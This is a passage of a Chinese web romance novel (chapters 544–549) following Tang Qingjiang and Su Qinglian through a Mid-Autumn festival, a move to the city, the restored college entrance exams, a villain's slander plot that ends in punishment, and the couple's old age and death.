苏青莲看着他这样,更生气了,往他身上一扑:“今天过节哎,难道不要吃新鲜点的吗?” 唐清江抱着人掂了两下,淡淡道:“那现在走吧,运气好说不定还剩下些什么。” “哼!” 苏青莲气得在他唇上狠狠咬了一下。 然后,成功被唐清江反制,压在墙上吻了好半天。 等真正出门的时候,苏青莲的嘴巴已经红肿了。 因为是要忙着出去抢购,就没带唐愿,出门前还让她乖乖在家看书,他们马上回家。 两人跑了供销社和百货大楼,果然月饼早就被抢光了,最终也只买到一斤面粉和一把豆角回来。 苏青莲揪着唐清江的手指:“都怪你。” 唐清江捏着她的下巴:“不讲理,谁起来地晚?” 苏青莲鼓着嘴巴:“那是因为你昨晚太那个那个了,我睡得太晚了。” 唐清江轻笑一声,低声道:“哪个哪个了?” 苏青莲一眼看穿这人的坏心思,红着脸不理他,直接快步往前走去。 唐清江人高腿长,没两步便追上了。 看着小妻子失望的笑脸,他想了想,认真安慰道:“没有月饼就算了,刚不是买了面粉,回去我们自己包包子或者做馅饼好了,反正都是圆的。” “……”苏青莲震惊。 都是圆的? 是这么算吗? 两人打打闹闹进了农修厂大院。 院里其他人家的炉子上,都已经燃起了炊烟。 空地上,几个小孩子正在打打闹闹,但是几乎每个娃手上都紧紧地捏着一小块月饼,看样子是家里大人经不起他们吵闹,从一整块上面切了下来的。 苏青莲又气呼呼地看了眼唐清江。 人家小朋友都有…… 唐清江哭笑不得,妻子还是孩子啊,对个月饼执念这么大。 想罢,他清清嗓子,看了眼苏青莲,一本正经道:“等着,我给你变个月饼出来。” 苏青莲“……” 搞什么鬼? 唐清江从口袋里掏出个玩意,走近了那帮孩子,朗声道:“小同志们,你们谁把自己的月饼,借给我们小苏姐姐咬一口,这个玩具就是谁的了。” 苏青莲“……” 苏青莲想找个井直接跳下去。 但是,她做不到。 因为这会已经有小孩子积极凑了过来,高高地举着小手道:“姐姐,我的给你吃……” 苏青莲闭了闭眼,艰难地对着这群热心的小同志们笑道:“姐姐不吃月饼,不吃啊,玩具你们大家一起玩就行了……” 然后,她就一把扯过站那置身事外的唐清江同学,手忙脚乱地跑上了楼。 苏青莲边跑边发誓。 她再也不要理唐清江这个讨厌的家伙了,至少今天结束之前。 进家门后,唐清江将买的东西放下。 苏青莲则气呼呼地坐到了沙发上。 唐清江伸手捏捏她的脸颊肉:“怎么,不去做饭了?” 第544章 抢月饼 苏青莲哼一声,转过头不理他。 唐清江盯着她看了片刻,起身进了厨房。 因为马上就要搬去市里,所以这边基本没剩什么粮食,能解决的都塞肚子里去了。 除了挂在房檐下的腊肉,就只剩两个土豆。 他从厨房门口伸出头,淡声道:“还有点腊肉,加上刚买的豆角,今天就包腊肉豆角馅的包子,再凉拌个土豆丝。” “腊肉豆角馅?有这种馅的包子吗?”苏青莲下意识抬起头,睁着大眼睛问道。 只是话刚落下,她就想起自己才发过誓,今天都不理唐清江的。 但似乎已经来不及了。 “有。”唐清江憋着笑,郑重点头。 虽然他也没吃过,但是这两样能放一起炒菜,难道还不能一起做馅吗? “……”苏青莲被自家老公一本正经的脸色给唬到。 不过,她对腊肉豆角馅的包子还挺好奇的,不知道会不会好吃…… 正在这时,唐清江伸手对他招了招:“过来,一起做饭。” 苏青莲眼珠子乱转,起身慢吞吞挪了过去。 嗯,她绝对不是故意不守信用。 她只是被唐清江强迫的,她现在要是不听话,万一唐清江待会不给他吃包子怎么办,晚上又在床上惩罚她怎么办?她老公还是挺坏的。 这么脑补了一圈,苏青莲立刻坦然了。 面子自然很重要,但能比美食和和谐的性生活重要吗? 唐清江负责调馅,将腊肉、豆角剁成极小的颗粒,然后放到锅里爆香煸炒出油,再加酱油、盐、辣椒粉等调味。 苏青莲则在一边加温水和面、醒面。 他们分头行动,两边基本是差不多时间结束的,之后就是揉面包包子了。 然后,苏青莲就感觉到了十分的得意自豪。 这个在她眼里几乎万事万能的老公,居然能把简简单单一个包子给包得这么丑,嘲笑他。 唐清江把自己包的包子,放在苏青莲那一溜光滑漂亮的包子队伍后面,就好像整齐的队伍里,突然长出几个瘤子一样醒目。 一斤面粉全部用光,总共包了12个包子,苏青莲占了8个,他则是4个。 啧…… 他这种自来对口腹之欲没什么要求,嫌麻烦的人不会特地去学做包子。 这会儿倒是难得丢脸了。 苏青莲看着他那歪瓜裂枣包子,故意使坏,指着其中最丑的一个道:“这就是传说中的相由心生,因为内里是个大坏蛋,所以包出来的包子,也长得这么不正经,一看就不是什么好东西。” “……” 唐清江漠然看他一眼。 你是不是以为我听不出来你是在骂人? 苏青莲笑嘻嘻躲开他的目光,抱着一蒸笼的包子往外跑去。 走廊的炉子上早就烧了热水,蒸笼放上去,直接加热就行。 唐清江修长的身形靠在墙上,看着小妻子忙乎。 苏青莲蹲在门口,不错眼地盯着蒸笼。 “真的很想吃月饼?”唐清江问。 苏青莲哼了声:“过节要有仪式感嘛,就是我不吃阿愿也是要吃的,可怜我们阿愿长这么大了还没吃过月饼呢!” 唐清江:“……” 自己想吃就自己想吃还扯上阿愿啊,阿愿才多大点,两岁多点的小孩子,去年她本来也吃不了月饼。 他不由得伸出手捏捏她的脸。 “等着,我出去一趟。” “你去哪?”苏青莲抓住他的衣袖问。 “抢月饼。” 说完已经出去了。 苏青莲:“?”啊?上哪儿抢去? 她站到窗边就见她老公骑着农修厂配的自行车已经没影儿了,但也就二十分钟的时间,她老公回来了,还真拿回来几块月饼。 苏青莲眼神复杂:“老公,抢东西是犯法的。” 唐清江抬手敲了敲她的头:“我去了科长家,过节给他送礼的人多,他那里月饼不少,我去供销社买了点东西换的。” “不是某人一定要吃月饼?拿着。” 苏青莲立刻开心的弯弯眼睛:“老公超棒哦。” 唐清江忍不住笑了笑捏了捏她沾着面粉的鼻子。 倒是包子不久后蒸好了,那个被苏青莲评价为不是什么正经东西的丑包子,却是被她第一个抢着塞进了嘴里。 唐清江看他:“味道有区别吗?” 苏青莲转了转漆黑的眼珠,硬气道:“肯定没有我包的好吃。” 唐清江淡淡看傲娇的妻子一眼,然后伸手去拿了另外三个长得比较不尽如人意的白包子,这三都是他的杰作。 苏青莲看着,却有些着急了:“你只吃这几个啊,你这么大个子,能吃饱吗?” 唐清江点头,随口道:“能。” “……”苏青莲瞪着人。 这家伙是不是故意不吃她包的包子。 现在怎么这么气人,可恶。 虽然拿了月饼回家但还是好可恶。 苏青莲鼓了鼓嘴巴,从蒸笼里拿出一个白白胖胖、端端正正的包子,放到唐清江碗里,姿态矜持道:“我看你最近好像瘦了,是不是工作太辛苦?呐,多吃点吧,刚好我也吃了一个你的,这个就还你吧。” 唐清江垂眸,忍俊不禁,拿起包子塞进嘴里咬了一口。 腊肉的咸香味、随着豆角的清甜,一齐在口腔绽开。 苏青莲目光灼灼地盯着人,立刻问道:“怎么样,好吃吗?” 唐清江抬头,默默看着他。 “……”苏青莲着急:“不好吃吗?” 唐清江将剩下的大半,又继续塞进嘴里,慢慢咀嚼咽了下去,才淡淡道:“好吃,很好吃,好像确实比我包得好吃。” “嘿嘿……”苏青莲当即得意地笑了。 然后,又立刻从蒸笼里拿了好几个看起来最好看的包子,放到唐清江碗里:“吃吧,好吃就多吃点,嘿嘿……” 唐清江点头。 嗯,果然,高端的猎人,都要以猎物的形式出现。 这不,妻子气也不生了,美食也自动送上门了。 唐愿在一旁小口小口的吃着包子,不知怎么的就觉得好腻啊。 …… “这还是我第一次来市里呢。” 苏青莲背着个小包从汽车上跳下来, 看着车站周围的水泥建筑和衣着光鲜的人群,兴奋地左唐右盼。 第545章 又在丢脸了 苏青莲以前也只是在县城呢。 唐清江两手各提着个大包,扫了眼周边:“走路小心点。” “知道了。”苏青莲故意拖长着声音应道。 唐清江对小妻子的阳奉阴违, 早已习惯。 两人随着拥挤人流,出了车站大门。 市里的汽车站比县里热闹不少,门口停着拉人的三蹦子,还有各种各样卖食物点心的小摊。 不过, 最吸引诸人目光的, 还是停在汽车站前的水泥路上的那辆黑色小轿车。这车就算是在市里面,小轿车也是极为罕见的。 轿车旁站着一位穿着衬衣短袖的中年男子, 他正专心致志地盯着出站口的位置。 很明显,这是来接人的。 就在这时, 他目光扫到某处,陡然一亮,立刻急匆匆地迎了过去。 “唐清江同志……” 唐清江扬眉看向来人:“你是?” 中年男子连忙道:“我是部长安排来接唐清江同志去机械厂的。” 唐清江点了点头:“嗯, 辛苦了。” “不辛苦,能来接唐同志是我的荣幸,机械厂的大家都在等着您早日来帮忙呢,”中年男子笑着摇摇头, 伸手接过他手上的一个大包, 往前走道:“车子就在那边, 我先送您去宿舍安置一下。” “好, 谢谢。”唐清江伸手牵过双眼亮晶晶的苏青莲,跟在他身后往小轿车方向走了过去。 一旁的行人们, 伸着脖子好奇地看着唐清江。 这么年轻居然能让人开小轿车来接, 态度还那么客气?真叫人佩服啊! “乖宝,怎么了,看什么呢?” 凌母、凌父原本正拉着凌晓雨的手哭哭啼啼,见她盯着车站某处不动,便顺着看了过去。 凌晓雨猛地转回头,烦躁道:“没看什么。” 一旁的李太太见状,冷笑一声:“哦,那是你那外甥女和她丈夫吧,听说她丈夫是被市机械厂看中的大研究员,这小轿车肯定是来接他们去市机械厂的,哼,可惜你们家就没这么命了。” 凌家人的面色瞬间难看到极点。 没有什么比你在落魄的时候,看到曾经讨厌的人一路成功更痛苦。 李建国催促道:“好了,别发呆了,快点去火车站吧,马上赶不上去北大荒的那班火车了。” 凌晓雨面色阴狠的盯着那辆已经远去的小汽车,心里恨到极点。 已经到了新家的唐清江和苏青莲,自然对此一无所知。 市机械厂的宿舍,比农修厂的更好了不少,依旧是两室一厅,但却有个大阳台,还配了台黑白电视机,正是他们厂里自己生产的。 苏青莲对此欢欣雀跃不已,恨不得一台到晚都钻在电视里,虽然一共也没几个台。 而唐清江在机械厂的工作也顺利展开着。 有了他这个发动机原设计人的加入,项目组的进度几乎可以用一日千里来形容。 不过,也不仅限于发动机。 之后,关于各种自动车床、关于刻录机等等,各种项目组,都留下了唐清江的工作印记,而给市机械厂、乃至整个国家的高级制造业,带来的影响都是巨大的。 日子一天天过去。 终于,到了第二年的九月,已经暂停了差不多十年之久的高考恢复了。 苏青莲从报纸上看到这个消息的时候,激动的差点在家蹦上天。 还是唐清江将人按在床上,用老办法安抚了他雀跃的心。 到了深冬的十二月,高考准时开考。 唐清江也向机械厂请了假去参加,厂里对此自然无有不应,这一年来,唐清江带给他们的惊喜实在太大,现在他们市机械厂在全国都颇有名声。 但是仔细一想,唐清江也还是个才二十出头的小年轻呢。 这次高考参加的人数众多,从工人、农民到普通学生,不限年龄身份。 而在大约半个月后,考试成绩便也出来了。 这个年代还没有电子查分系统,所以成绩都是由各省里到市里一层层往下发,最后发到各自的工作单位或者大队。 而唐清江和苏青莲的粮食关系,现在都已经转移到了机械厂。 这一回,市机械厂里面也有很多人参加了本次高考。 第二天,唐清江去上班时,毫不意外在机械厂的公告栏看到了高考成绩红榜,而最上面的两个名字,属于他和苏青莲。 众人围过来,纷纷向他道喜。 “唐研究员考得真好啊!” “而且,人家不仅自己好,两口子都考得好!” “我听厂里说,这个成绩在咱们市都是数一数二的,唐研究员两口子,只怕都能去首都上大学了!” “啊……真的!” 苏青莲知道今天成绩要出来,所以,早上是陪着唐清江一起来的机械厂。 这会,就兴奋地什么也唐不上了。 像在家里一般,只要一高兴,就直接往唐清江身上扑。 唐清江赶紧双手抱住他。 苏青莲抱着他的脖子,在他的脸上胡乱亲了起来,嘴里激动地喊着:“老公,太好了,考上了,我们都考上了……” 她现在的一切,都是唐清江带来的。 唐清江被糊了一脸的口水,却也只能无奈笑笑。 一旁人看着,也发出一道道善意的笑声。 考得这么好,失态一下也很正常。 苏青莲这才意识到自己的失态,意识到这时在大庭广众之下,她慢慢从唐清江怀里滑落下来,然后小脸绯红地贴在唐清江怀里不出来了。 呜呜,她脸都没了…… 而在某个郊外农场中,却有人与他们的心情截然相反。 从今年初开始,林盛路便看着原本下放到农场中的大人物,一个个被接走离开这里,回到原本属于他们的地方。 而在上个月,高考恢复了。 那些在这工作的知青们,得到了去参加的机会,只要能考上随便一个学校,就可以从此离开农村,回到城市。 所有人都有机会离开,只有他不行。 因为他是来劳改的,是来坐牢的。 这一刻,林盛路对唐年的恨,达到了极点。 如果不是掺和进了他们家的事,自己一定不会变成这样,说不定年初的时候,外祖家也会派人将他给接走了。 第546章 果然是好兄弟 林盛路心里埋怨,当初就算自己不能被家里人接走,这会他也该报名考中大学,自己回京了,他之前读书的时候,成绩一直都是最好的,是数一数二的。 林盛路握了握拳头,眼神暗沉到极点。 这一切都是唐年的错。 以往能为了利益跟唐年称兄道弟,也能因为这些事跟唐年恩断义绝。 林盛路的出身就注定让他跟唐年不是一路人,当初为了点利益才跟唐年绑到一起。 现在这个蠢货害了他,他是不会轻易放过唐年的。 这个年代想要毁了一个人很容易,想要害死一个人也很容易。 唐年是什么人?自私贪婪,他这样的性格注定他不会有好结果。 林盛路用自己存下来的自行车票和人做了交易。 最近白依依和李昊阳这件事闹得很大,但凡是流氓罪都不会有好下场,他被唐年牵连,也不会让唐年能留在这里。 李昊阳流氓罪没有判处死刑只是流放北大荒是因为李昊阳的父亲有点人脉。 可唐年呢?唐年有什么? 唯一的人脉怕是那个马上去市里的大哥唐清江,可唐清江根本不会管唐年的死活,所以李昊阳更不必给唐年任何机会。 林盛路给唐年想了个好去处。 深夜,唐年饿的肚子冒酸水儿,但现在他身份特殊,没人会关照他,只能挨饿,开始哭着后悔自己当初不该招惹唐清江。 林盛路被他哭哭啼啼的声音弄得心烦,但还是忍着厌恶的心思从角落里给唐年摸出了他这两天掏到的鸟蛋给他烤熟了吃。 唐年狼吞虎咽得吞下去,鸟蛋不大,但是好歹不那么难受了。 唐年又开始哭泣。 自己本来最受母亲疼爱的,父亲又是烈士,家里哥哥也疼他,他怎么就着魔了似的要对付唐清江。 还有唐清江,明明是大哥为什么不能关照他这个弟弟!他明明没有任何损失为什么要公安带他走。 他可是他的亲弟弟,那个冷血的恶魔。 他只反思了一下便将错处都推到唐清江身上,对他来说唐清江是哥哥就该让着他才对。 林盛路看唐年这副眼底都藏着恨的模样眼神暗了暗,过了片刻才开口:“唐年,想从这地方出去吗。” 唐年摸着肚皮开口:“谁会想在这鬼地方待着,我当然想出去,但是出得去吗?那一群人可都盯着呢。” “如果说我有办法让你出去呢。”林盛路斟酌片刻认真开口。 唐年怔住:“你有办法?怎么可能!” “离开这边农场后往西走两百米有一座青砖大瓦房,那户是烈士家庭,她的父亲兄长表哥表弟乃至母亲都是都是革命战士,现在他们家只剩下马诗琪一个女儿,上面因为愧疚给她盖了青砖大瓦房又给了她一笔巨款,甚至县城的房子也批给她一套,她如今才刚满十八岁手里握着巨款,不知道多少人都盯着她。” 说到这里林盛路还不忘观察一下唐年的表情。 果然,唐年一听到马诗琪家中只有她一人眼底都闪着贪婪的光。 “这位马小姐为人和善,你跟她搞好关系只要她跟上面说一说,一定能对你轻拿轻放的。” 林盛路态度认真,唐年也真的听进去了,只是整个人还有点恍惚。 片刻后他才开口:“那你呢?如果我靠着她走了你怎么办?” 林盛路笑了笑:“果然是好兄弟。” “你知道的我是从城里来的,我家里应该快平反了,家里面应该会找关系接我出去,他们可能会因为这次的事不会帮你,我不忍心看你继续留在这里,所以想给你找个出路。” “我们既然是兄弟,那要走就一起走,总不能真的只留你一个人在这里受苦。” 唐年听了泪眼汪汪。 直到深夜,唐年都因为这件事没能睡过去,他一直在想林盛路说的那位马家小姐。 他想,就算真的跟马小姐搞好关系对方就肯帮自己吗?非亲非故的她凭什么帮自己。 相反……这个年代的女人都保守,如果自己成了她男人,她肯定会为自己谋划。 有那么多家财的女人怎么能没个男人? 那可是一笔巨款,还有县城的房子,到时候真成了,凭着她父母亲人的人脉,自己从这里离开还不是轻而易举的?上面那些人肯定不愿意看到烈士女儿的丈夫是个劳改犯。 等到自己被接出去就跟马诗琪一起去县城住,到时候自己就是城里人了。 这才是好出路! 唐年越想越觉得对,甚至是边想边乐。 过了好一会儿,唐年睁着眼睛兴奋的睡不着,他小声的喊着对床的林盛路。 “林盛路?你睡着了吗。” 没人应。 唐年嘿嘿一笑,穿好衣服出去了。 他出去的一瞬间林盛路眼神暗了暗。 果然是个自私贪婪的家伙。 如果唐年听他的或许还真的能有一条活路,可偏偏唐年贪婪成性,真的选择晚上出去耍流氓。 那就不怪他为唐年设计好的结局了。 他这样的人,不配过上好日子。 林盛路冷笑几声。 约莫过了半个时辰,农场开始有人吹口哨,远远的还能听到男人的惨叫声哭喊声。 惨叫哭喊的是唐年,他被人用棍子抽打着在地上滚来滚去的求饶却还不忘记喊道:“马诗琪爹妈都死了!我不嫌弃她肯娶她那是给她面子!你们最好识相点!我是她未来男人!” “我今晚敢来找她就是因为我跟她早就有苟且!她早就是我的人了!” “她肚子里说不定都有了我的种了!你们把我打死了她肚子里的孩子也没父亲了!” “你们打!你们再打狠点!打死我啊!” 唐年往后喊着,周围的人面面相觑,打人的震惊愤怒却又害怕唐年说的是真的。 不管什么年代,想要毁掉一个人最简单的方法就是造对方黄谣,他不过是随口胡诌几句,那些人就全都信了。 唐年得意。 马诗琪气到胸腔不停起伏:“叔!打死他!我跟他没关系!” “怎么没关系了!” 第547章 贱骨头 唐年不要脸的在地上翻滚着开口:“马诗琪你不能得了便宜尝到甜头就把我踹开啊,我可是你男人!” “你给我闭嘴!”马诗琪愤怒。 “你这么着急生气不就是被我说中了!甜头你都尝了,你也快活了结果现在被人发现我们的奸情你就要弄死我?怎么会有你这么恶毒的女人!” “你不可能承认是不是就是害怕被下放!你就为了这个要害我!”唐年说的振振有词。 马诗琪被气的浑身发抖:“我没有跟你……我没有!” “怎么没有!我可清楚你身上哪个地方有痣,你臀部有颗红痣,我不仅摸过还舔过呢!我就是你男人!” 唐年随口胡诌冤枉人的话让现场的人都惊了,本来都站马诗琪的人都开始小声议论了。 “唐年都说的这么清楚明白了,两人肯定早就睡过了。” “没睡过能知道……能知道那地方有红痣?” “呸,贱骨头!” “真不嫌给她烈士爸妈丢人,一家子烈士生出来个骚狐狸!” “我给她介绍我儿子她还瞧不上,自己倒是瞧上这么个没出息的混账东西了?”说这话的人曾经就是看上了马诗琪的家产给她说过亲,说的是自己那好吃懒做的儿子,当然是被马诗琪拒绝了,这就怀恨在心了,现在看马诗琪摊上这事儿赶紧啐几口嘲讽。 周围的人全都在议论马诗琪和唐年的事,马诗琪气到整张脸都红了。 她能怎么证明? 她难道脱了衣服给这群人看身上有没有痕迹吗!那还要不要清白了!她没有做错凭什么要做这种事! 事情闹得越来越大,马诗琪父母曾经的战友就是县城的领导,知道这件事也不顾是深更半夜赶紧让人开车去了农场。 看到自己去世战友的女儿被欺负成这样,农村里的长舌妇和看热闹的男人还在议论嘲讽,甚至还有打算吃绝户的人说自己“不嫌弃”马诗琪脏了,愿意娶她进门,领导一看对方儿子个子一米五相貌也是丑陋无比,就这样的人还敢说这种话? 领导气的险些心脏病发,看到唐年还在那里造谣,一脚踹过去让下属把唐年带下去,不论用什么手段一定要唐年说出真相还马诗琪一个清白。 做了这些又让人给这些村民们上道德教育课,这才打算带马诗琪回县城。 以前马诗琪不打算去县城,她觉得在农村挺好的,这是父母亲人待过的地方,她不愿意走。 可发生了这种事她才知道自己一个女孩子被诬陷被设计被陷害的时候有多无助。 这是第一次,以后呢,会不会有第二次第三次? 马诗琪不敢想,这次再也没拒绝父亲战友,当晚就搬去了县城。 而唐年被狠狠教训一顿,哭喊着将真相吐露出来,甚至召出了林盛路。 本来还想着唐年得到教训的林盛路也被带走了。 公安逼问:“唐年说是你告诉他马诗琪一个人有巨额财产的?你还告诉了他详细的地址引导他作案?” 林盛路内心骂了唐年无数次。 他没想到唐年敢供出自己。 林盛路只能尴尬的笑了笑:“警察同志,我怎么敢做这种毁人女同志清白的事,我看是他糊涂了,他能冤枉马同志就能来冤枉我,警察同志可要调查清楚不要冤枉好人。” 对方深深的看了林盛路一眼,倒是唐年瘫在地上哭喊大叫:“林盛路你王八蛋!是你告诉我让我跟马诗琪搞好关系好离开农场的!如果不是你说这些,我怎么敢诬陷马诗琪!” 公安再次看向林盛路。 林盛路叹了口气:“警察通知,我只是看唐年通知身体弱,想让他早点离开农场回家修养所以告诉她马同志有点权利,所以希望他照顾点马同志当朋友,没想到他会做出这种事。” 这话是事实。 唐年哑声了。 公安也猜到了真相,此后任由唐年如何攀扯公安也不信了。 只是放林盛路离开时公安提醒了句:“你是聪明人,你有没有这心思你心里清楚,收拾收拾东西去北大荒吧,这里的农场容不下你了。” 林盛路心里咯噔一下。 但也明白去北大荒总比坐牢好。 他赶紧回去收拾行李了。 唯有唐年没有好下场。 唐年出事,唐母得到消息赶紧赶去了隔壁县区探望自己最在乎的小儿子,见到唐年就见他被打的浑身是伤立刻痛哭出声。 “年年你这是怎么了!” 唐母心都要碎了。 可她也知道唐年这事情闹大了肯定要严惩,可她哪里有什么人脉,看着儿子说疼说要出去心痛的厉害,只能咬着牙对唐年说:“年年,妈去求你大哥救你!” 唐母再看不上唐清江却也不得不承认唐清江才是家里面最有出息的。 …… 唐清江和苏青莲在去京城上学之前,先回了一趟阔别已久的唐家村。 既是回来迁移户口,也是将之后几年的养老费用给唐母,另外还要满足一下苏青莲同学的显摆之心。 队长唐玉树、包括唐老二一家人,都对他们的归来十分开心。 唐清江和苏青莲也给他们带了些东西,比如市机械厂制造的收音机等。 当然,苏青莲是更想在一直瞧不起他的唐家人面前炫耀,不过很可惜,回来这天,唐母两人都不在家。 听唐老二说才知道,唐年在隔壁县农场劳改时,跟林盛路发生了矛盾,对一位女同志耍流氓,且那女同事还是烈士后代,事情已经闹大了,唐母接到消息后,便去看他了。 唐清江和苏青莲都怔了怔,唐年这个名字,在他们的记忆中已经消失好久了。 两人这次只在村里只停留了两天,不过好在第二天下午,唐母就回来了。 看到唐清江两口子,唐母的第一反应,就是大骂他们没良心,一个人跑去城里享福,不管他们这些人。 唐清江自然不会被他这些鬼话给吓到。 直接把当初签好的分家证明拿了出来,他每年给的养老费,比起村里所有人家都要多。 第548章 我等你回家 唐母要是想让他经常回家看看,可以,那把前两年多的养老钱退回来,而且从此以后,她的养老费用也降低成正常水平。 唐母自然不甘心。 唐母抹了把眼泪又哭诉着让唐清江救唐年,甚至把唐年做的事颠倒黑白告诉唐清江,唐年心怀不轨成了马诗琪主动勾搭。 苏青莲都气笑了:“就唐年那么个自私贪婪的劳改犯,人有房有钱的烈士后代看得上他?” 唐母恶狠狠的瞪她一眼,苏青莲可不怕她,嗤笑一声。 唐清江更不可能听苏青莲一面之词。 如果唐年是被冤枉的,他不介意托关系主持正义,前提是真的是被冤枉的。 他认识的人多,当天就知道是什么原因,唐清江只觉得讽刺,他不肯管唐年,唐母就哭喊撒泼骂他不孝顺,娶了媳妇忘了娘还不肯管弟弟。 “知道唐年为什么胆大妄为敢做下这么多错事吗。”唐清江声音冰冷:“就是因为你的迁就你的偏心让他认为自己做错任何事都有你来兜底。” “可你有那个能力吗。” 唐清江话说到这里,唐母心彻底冷了,知道唐清江不肯帮忙只能花钱到处找关系好让唐年过的不那么艰难。 唐年是一定会坐牢了。 第三天上午,唐清江和苏青莲就离开了。 这一次是真正的离开。 甚至在数年后,唐年出狱回到唐家村,凌晓雨也在李建国勾结黑势力被公安抓捕后,重新回到县城。 两人都想过撺掇各自父母去找唐清江、苏青莲闹事,想得到些什么好处。 不过,很可惜,他们根本就找不到唐清江的踪迹。 而身为他另一半的苏青莲,则是被相关部门重重保护。 其实,苏青莲对于唐清江的偶尔消失,也是颇为无奈。 只知道大概是被国家征用,去什么沙漠里,或者研究所做秘密实验去了。 那都是跟国家签了保密条款的,唐清江回家之后,也不会对他提起具体情况。 唐愿早早就考了大学,跟着唐清江一起做研究,父女两人经常不见,倒是苏青莲不喜欢太忙碌,本来可以早早毕业但就是想按部就班的。 不过,看着国家在一天天的变好、变得富强,想到这里面有自家老公和女儿的一份力量,苏青莲就升起无限自豪之情。 当然,在唐清江回来之后,撒娇和哼哼唧唧还是会照常奉上的,必须要让他想着自己。 大学毕业之后,苏青莲继续读了研究生,后来便留在京城大学做了老师,她开始编写属于国内的生化物这类的书籍,启蒙了很多人。 而唐清江也不再那么频繁的消失了,大部分时间都在京城的科学院里工作。 偶尔,还会来京城大学接他下班。 这一对郎才郎貌的夫妻,也算是京城大学校园里极为美妙的一道风景线。 日子一天天过去。 两人携手已经走过了几十载岁月,这个国家也在慢慢地成长着。 明亮的厨房里,唐清江将调好的馅递过去,淡声道:“发什么呆,还是老得没力气了,揉不动面了?” 苏青莲回过神,瞪了他一眼:“你比我大两岁呢,就算要老,那也是你先老得没力气?” 唐清江把盆放在桌上,走近了几步。 苏青莲看着他的动作,害怕地问道:“你想……干什么?” 他伸出双手,一把将苏青莲打横抱了起来。 “快别闹了!”苏青莲扶着她的肩膀惊叫。 “苏老师。谁老了,谁没力气?”唐清江低头看着人,冷冷问道。 “……”苏青莲无语。 六十岁的人了,还非要逞这个能? 她拍了拍唐清江的脸,无奈道:“快把我放下来,锅里的水要开了,赶紧把包子放上去蒸,你不是最喜欢腊肉豆角馅的包子吗?” 以前年轻的时候,基本都是她跟唐清江撒娇耍赖。 现在,年龄大了,唐清江反而变成了幼稚的那一个。 唐清江这才将人放下来。 苏青莲无奈摇摇头,将蒸笼放到锅上。 “不是……”唐清江突然道。 苏青莲回头看他:“什么不是?” 唐清江看着她,一字一句道:“不是最喜欢腊肉豆角馅的包子,最喜欢你,你第一次给我包的包子是腊肉豆角馅的。” 苏青莲愣了愣,而后绯红慢慢爬上耳畔。 她匆忙转过头去,看着蒸笼发呆,但是心是甜的。 又数年过去。 苏青莲老得动不了,也几乎睁不开眼睛了。 唐清江坐在她的病床前,握着她的手缓声道:“看吧,果然是你先老,我的结论什么时候出过错。” 苏青莲混沌的眸子,看着面前的人眼泪突然从眼角滑落:“我等你回家。” 说完这句话,苏青莲慢慢阖上了眼。 唐清江沉默看了她许久,起身慢慢躺到了病床的另一边。 这一天晚上,华国之星、当代最优秀的科学家离世。 唐愿得知这消息的时候才刚从封闭实验室里面出来,她有些接受不来这样的事实,但父母年纪大了,总会走的,何况他们是一起走的,路上也不算孤单了。 整个国家都沉浸在无比的悲伤之中。 唐清江生前工作过的地方,居住过的地方,日日夜夜围满了各种来悼念的人们。 各种电视台、报纸也趁机举办了各种纪念活动或者节目。 某电视台,更是拿到了部分唐清江和苏青莲的遗物手稿,也让唐清江这个仿佛星辰般耀眼的人物一生更加生动起来。 “唐老生前很少参加什么活动,也不接受采访,所以大家对他的了解,除了各种各样的奖项、那些改变社会进程的重大贡献发明,就是他在教科书上那张冷峻严肃的黑白照片了,不过,今天来自于其另一半苏青莲老师的日记,一定会让大家对这位伟大的科学家有一个更深刻的认识。”端庄的主持人笑看着大家道。 “唐同学又出差去了,这次去得很久,大约有半年。院子里的花开了又落,冬天到了,唐同学才回来,赏不了花只能赏雪景了,唐同学为了不扫兴在干枯的树枝上绑了很多他熬夜做的布花,我却觉得这是世界上最漂亮的花朵了。(不过后来阿愿跟我告状说唐同学逼着她一起熬夜做布花,真幼稚。)” 第549章 是唐清江不能没有苏青莲 “唐先生极爱欺负人,最近他出差频繁,冬日回来后,铁打的身子也生病了,我边给他炖汤就忍不住抱怨几句,结果他倒好,全把责任推给我了,说就是因为太想见我,才没日没夜加快了工作进度,哼,这个讨厌的家伙。好吧好吧,抱怨这么多其实我也很想唐先生的。” “中秋节的时候等到唐先生了,他赶回来的及时,唐先生说为了能回家陪她过中秋提前做好了研究,唐先生问我想吃什么馅的月饼,我想了想,说是腊肉豆角的。唐先生听了笑的特别好看。” “阿愿到了结婚的年纪一直不肯结婚,我们的阿愿漂亮优秀,很多人都喜欢她追求她,给阿愿说媒的人都要踩破门槛了,不过阿愿说她缘分还没到。唐先生很疼阿愿,他说自己的女儿做什么样的选择都是她的自由,一辈子不结婚也好,丁克也好他都支持。唐先生还是一如既往的讲道理。” “唐先生很英俊,他英俊是很多人都知道的事,五十岁的时候还是一如既往的俊秀,只是眉宇间多了点皱纹,但是更成熟了。有点花痴唐先生,做了唐先生的小泥人,被唐先生发现了,他也做了一个我,这下是两个小泥人了。” …… “唐先生果然还是那个小气鬼,班上转来了一名高大英俊的插班生,总是爱在下课时缠着我问问题,回家后我随口提了一句,唐先生便非要扣着字眼不放,逼问我,他跟那个插班生,谁更高大?谁更英俊?啧,五十岁的老头了还这么较真,这种问题就不该问的,当然是唐先生最高大最英俊了。” “家里不远处的广场上,有个广场舞的队伍,早起晚收,吵得唐先生总是皱眉,到了这个年纪唐先生还是不理解广场舞有什么魅力,对啊,广场舞有什么魅力,好烦哦,吵到唐先生了,我也开始讨厌广场舞了。不过后来据说来了个街舞社的一群小孩子跟他们争夺底盘,他们一旦开始放广场舞,那群小孩儿就开始放热热闹闹的DJ舞曲,惹得大爷大妈们怨声载道,后来跳舞的地方也转移了,那群孩子胜利后再也没来过了。我愿称之为正义的街舞天使们,感谢他们帮助唐先生赶走了扰民的大爷大妈。(不过后来知道是阿愿请了那群跳街舞的小孩儿,我女儿就是聪明。)” “最近唐先生开始画漫画了,她说Q版的我很可爱,开玩笑,不管什么版本的我都很可爱。” …… “唐先生的脾性越来越像个小孩子了,我却感觉自己恐怕真的要比他先老了,希望等我走后,他还能这么快活地继续任性下去,不要因为我而伤心。” …… “我生病了,唐先生却看起来比我更沧桑,我们都老了。从不信鬼神的我希望世界上真的有轮回,请让我和唐先生下辈子再相遇吧,苏青莲不能没有唐清江。” 这是日记后面苏青莲最后写下的一篇,但结尾是唐清江的回应。 他只写了一句话。 “是唐清江不能没有苏青莲。” 主持人看着日记本眼圈泛红。 